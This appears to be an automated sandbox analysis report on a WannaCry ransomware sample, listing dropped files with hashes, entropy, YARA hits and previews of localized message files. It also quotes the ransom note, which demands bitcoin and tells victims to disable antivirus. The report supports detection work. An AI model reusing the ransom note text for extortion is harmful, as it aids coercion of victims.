                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_latvian.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):41169
                                    Entropy (8bit):5.030695296195755
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdcqH24G2ZN1EDCv3Apb0WD5gYV/S4L3rnzdeo75Y3f:Shef3jHdcMG2NpZrS14F
                                    MD5:C33AFB4ECC04EE1BCC6975BEA49ABE40
                                    SHA1:FBEA4F170507CDE02B839527EF50B7EC74B4821F
                                    SHA-256:A0356696877F2D94D645AE2DF6CE6B370BD5C0D6DB3D36DEF44E714525DE0536
                                    SHA-512:0D435F0836F61A5FF55B78C02FA47B191E5807A79D8A6E991F3115743DF2141B3DB42BA8BDAD9AD259E12F5800828E9E72D7C94A6A5259312A447D669B03EC44
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_norwegian.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):37577
                                    Entropy (8bit):5.025836823617116
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdy2MG2D7mgwroXeo75Y3kmA31dv61Qy5:Shef3jHdGG23KrDZrS14N
                                    MD5:FF70CC7C00951084175D12128CE02399
                                    SHA1:75AD3B1AD4FB14813882D88E952208C648F1FD18
                                    SHA-256:CB5DA96B3DFCF4394713623DBF3831B2A0B8BE63987F563E1C32EDEB74CB6C3A
                                    SHA-512:F01DF3256D49325E5EC49FD265AA3F176020C8FFEC60EB1D828C75A3FA18FF8634E1DE824D77DFDD833768ACFF1F547303104620C70066A2708654A07EF22E19
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_polish.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):39896
                                    Entropy (8bit):5.048541002474746
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdD2SG2gA8w8OJ6868jy8/8w8m8T848f8y858l8j8yv:Shef3jHdxG2KhuZrS14G
                                    MD5:E79D7F2833A9C2E2553C7FE04A1B63F4
                                    SHA1:3D9F56D2381B8FE16042AA7C4FEB1B33F2BAEBFF
                                    SHA-256:519AD66009A6C127400C6C09E079903223BD82ECC18AD71B8E5CD79F5F9C053E
                                    SHA-512:E0159C753491CAC7606A7250F332E87BC6B14876BC7A1CF5625FA56AB4F09C485F7B231DD52E4FF0F5F3C29862AFB1124C0EFD0741613EB97A83CBE2668AF5DE
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_portuguese.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):37917
                                    Entropy (8bit):5.027872281764284
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdy2QG2xgk5eo75Y3kmA31dv61QyV:Shef3jHdCG2EZrS14p
                                    MD5:FA948F7D8DFB21CEDDD6794F2D56B44F
                                    SHA1:CA915FBE020CAA88DD776D89632D7866F660FC7A
                                    SHA-256:BD9F4B3AEDF4F81F37EC0A028AABCB0E9A900E6B4DE04E9271C8DB81432E2A66
                                    SHA-512:0D211BFB0AE953081DCA00CD07F8C908C174FD6C47A8001FADC614203F0E55D9FBB7FA9B87C735D57101341AB36AF443918EE00737ED4C19ACE0A2B85497F41A
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_romanian.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):52161
                                    Entropy (8bit):4.964306949910696
                                    Encrypted:false
                                    SSDEEP:768:Shef3jHdXG2Cz2/vBAOZsQO0cLfnF/Zhcz7sDsYZBB/0gBjL+IU/hbhMVDtsR49P:ShehlrGR1m4dx9mjVyAvg7ouDT
                                    MD5:313E0ECECD24F4FA1504118A11BC7986
                                    SHA1:E1B9AE804C7FB1D27F39DB18DC0647BB04E75E9D
                                    SHA-256:70C0F32ED379AE899E5AC975E20BBBACD295CF7CD50C36174D2602420C770AC1
                                    SHA-512:C7500363C61BAF8B77FCE796D750F8F5E6886FF0A10F81C3240EA3AD4E5F101B597490DEA8AB6BD9193457D35D8FD579FCE1B88A1C8D85EBE96C66D909630730
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_russian.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):47108
                                    Entropy (8bit):4.952777691675008
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2qG2aUGs0K6lyZqmfGGHRblldORZeo75Y3kmA31L:Shef3jHdeG2lGsDOcZxbP7ZrS14K
                                    MD5:452615DB2336D60AF7E2057481E4CAB5
                                    SHA1:442E31F6556B3D7DE6EB85FBAC3D2957B7F5EAC6
                                    SHA-256:02932052FAFE97E6ACAAF9F391738A3A826F5434B1A013ABBFA7A6C1ADE1E078
                                    SHA-512:7613DC329ABE7A3F32164C9A6B660F209A84B774AB9C008BF6503C76255B30EA9A743A6DC49A8DE8DF0BCB9AEA5A33F7408BA27848D9562583FF51991910911F
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_slovak.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):41391
                                    Entropy (8bit):5.027730966276624
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHd4Yb2YG2gNZ8a8zV/8j8U8l8x838Z8Q808m8d8T8hw:Shef3jHdZvG23AZrS14f
                                    MD5:C911ABA4AB1DA6C28CF86338AB2AB6CC
                                    SHA1:FEE0FD58B8EFE76077620D8ABC7500DBFEF7C5B0
                                    SHA-256:E64178E339C8E10EAC17A236A67B892D0447EB67B1DCD149763DAD6FD9F72729
                                    SHA-512:3491ED285A091A123A1A6D61AAFBB8D5621CCC9E045A237A2F9C2CF6049E7420EB96EF30FDCEA856B50454436E2EC468770F8D585752D73FAFD676C4EF5E800A
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_spanish.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):37381
                                    Entropy (8bit):5.02443306661187
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdf24G2/ezV6YQUdZYlujeMQ9RXmhRweo75Y3kmA31S:Shef3jHdrG2fuhZrS14T
                                    MD5:8D61648D34CBA8AE9D1E2A219019ADD1
                                    SHA1:2091E42FC17A0CC2F235650F7AAD87ABF8BA22C2
                                    SHA-256:72F20024B2F69B45A1391F0A6474E9F6349625CE329F5444AEC7401FE31F8DE1
                                    SHA-512:68489C33BA89EDFE2E3AEBAACF8EF848D2EA88DCBEF9609C258662605E02D12CFA4FFDC1D266FC5878488E296D2848B2CB0BBD45F1E86EF959BAB6162D284079
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_swedish.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):38483
                                    Entropy (8bit):5.022972736625151
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdb24G2ZKLVdDeo75Y3kmA31dv61QyE:Shef3jHd/G2w6ZrS14w
                                    MD5:C7A19984EB9F37198652EAF2FD1EE25C
                                    SHA1:06EAFED025CF8C4D76966BF382AB0C5E1BD6A0AE
                                    SHA-256:146F61DB72297C9C0FACFFD560487F8D6A2846ECEC92ECC7DB19C8D618DBC3A4
                                    SHA-512:43DD159F9C2EAC147CBFF1DDA83F6A83DD0C59D2D7ACAC35BA8B407A04EC9A1110A6A8737535D060D100EDE1CB75078CF742C383948C9D4037EF459D150F6020
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_turkish.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):42582
                                    Entropy (8bit):5.010722377068833
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHds42WG2mzGu/eo75Y3kmA31dv61QyZ:Shef3jHdsiG2moZrS149
                                    MD5:531BA6B1A5460FC9446946F91CC8C94B
                                    SHA1:CC56978681BD546FD82D87926B5D9905C92A5803
                                    SHA-256:6DB650836D64350BBDE2AB324407B8E474FC041098C41ECAC6FD77D632A36415
                                    SHA-512:EF25C3CF4343DF85954114F59933C7CC8107266C8BCAC3B5EA7718EB74DBEE8CA8A02DA39057E6EF26B64F1DFCCD720DD3BF473F5AE340BA56941E87D6B796C9
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\msg\m_vietnamese.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                    Category:dropped
                                    Size (bytes):93778
                                    Entropy (8bit):4.76206134900188
                                    Encrypted:false
                                    SSDEEP:384:SheftipUENLFsPzy3EFHjHdW2YG22cViQj3KiG8dpcH8iEriG8E8O83Jz52sxG8h:Shef3jHdWG2+oPZrS14i
                                    MD5:8419BE28A0DCEC3F55823620922B00FA
                                    SHA1:2E4791F9CDFCA8ABF345D606F313D22B36C46B92
                                    SHA-256:1F21838B244C80F8BED6F6977AA8A557B419CF22BA35B1FD4BF0F98989C5BDF8
                                    SHA-512:8FCA77E54480AEA3C0C7A705263ED8FB83C58974F5F0F62F12CC97C8E0506BA2CDB59B70E59E9A6C44DD7CDE6ADEEEC35B494D31A6A146FF5BA7006136AB9386
                                    Malicious:false
                                    Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                    C:\Users\user\Desktop\r.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):864
                                    Entropy (8bit):4.5335184780121995
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0Ei5bnBR7brW8PNAi0eEprY+Ai75wRZce/:DZD36W5/vWmMo+m
                                    MD5:3E0020FC529B1C2A061016DD2469BA96
                                    SHA1:C3A91C22B63F6FE709E7C29CAFB29A2EE83E6ADE
                                    SHA-256:402751FA49E0CB68FE052CB3DB87B05E71C1D950984D339940CF6B29409F2A7C
                                    SHA-512:5CA3C134201ED39D96D72911C0498BAE6F98701513FD7F1DC8512819B673F0EA580510FA94ED9413CCC73DA18B39903772A7CBFA3478176181CEE68C896E14CF
                                    Malicious:false
                                    Yara Hits:
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                    • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\Users\user\Desktop\r.wnry, Author: Florian Roth
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send %s to this bitcoin address: %s.... Next, please find an application file named "%s". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window...

                                    C:\Users\user\Desktop\s.wnry

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:Zip archive data, at least v1.0 to extract, compression method=store
                                    Category:dropped
                                    Size (bytes):3038286
                                    Entropy (8bit):7.998263053003918
                                    Encrypted:true
                                    SSDEEP:49152:zUx4db9A1iRdHAHZXaTnCshuTnSQYUB/UZfCg2clOQin2h37l2Jh9iiRKpbXUSH:z/b96AdHA5XaTJvQYUBBgRlJi+rlliRy
                                    MD5:AD4C9DE7C8C40813F200BA1C2FA33083
                                    SHA1:D1AF27518D455D432B62D73C6A1497D032F6120E
